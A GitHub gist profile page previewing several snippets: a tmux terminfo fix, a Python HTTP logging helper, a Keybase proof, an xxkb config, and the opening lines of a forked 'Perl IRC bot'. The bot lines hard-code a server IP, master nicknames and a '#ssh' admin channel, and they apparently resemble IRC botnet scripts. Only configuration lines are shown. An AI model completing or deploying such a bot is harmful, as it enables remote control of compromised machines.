Skip to content

Instantly share code, notes, and snippets.

View sv0's full-sized avatar

Slavik Svyrydiuk sv0

View GitHub Profile
@sv0
sv0 / as.pl
Created January 24, 2019 14:41 — forked from nl5887/as.pl
Perl IRC bot
#!/usr/bin/perl
my @mast3rs = ("z","w","x");
my @hostauth = ("localhost");
my @admchan=("#ssh");
my @server = ("91.191.19.112");
$servidor= $server[rand scalar @server] unless $servidor;
@sv0
sv0 / logger.py
Created May 14, 2018 10:45
logging HTTP requests
import logging
import contextlib
try:
from http.client import HTTPConnection # py3 # noqa
except ImportError:
from httplib import HTTPConnection # py2 # noqa
# logger = logging.getLogger(__name__)
@sv0
sv0 / how-to-fix-tmux-fail.md
Last active February 20, 2022 18:51
How to fix tmux error "terminal open failed: missing or unsuitable terminal: rxvt-unicode-256color"

If tmux fails with an error terminal open failed: missing or unsuitable terminal: rxvt-unicode-256color

log in to your remote host and create .terminfo/r in your home directory:

mkdir -p ~/.terminfo/r

copy terminal information file to remote machine:

scp /usr/share/terminfo/r/rxvt-unicode* remote.host:~/.terminfo/r/

Keybase proof

I hereby claim:

  • I am sv0 on github.
  • I am sv0 (https://keybase.io/sv0) on keybase.
  • I have a public key whose fingerprint is 294D B01D AAB5 1C84 5C04 F420 3D93 212C DDC8 2CD6

To claim this, I am signing this object:

@sv0
sv0 / .xxkbrc
Last active March 20, 2016 09:28
xxkb config
# http://manpages.ubuntu.com/manpages/natty/man1/xxkb.1.html
XXkb.image.path: .config/xxkb
XXkb.group.base: 1
XXkb.group.alt: 2
XXkb.mainwindow.type: tray
XXkb.mainwindow.enable: yes
XXkb.mainwindow.appicon: yes
XXkb.mainwindow.border.width: 1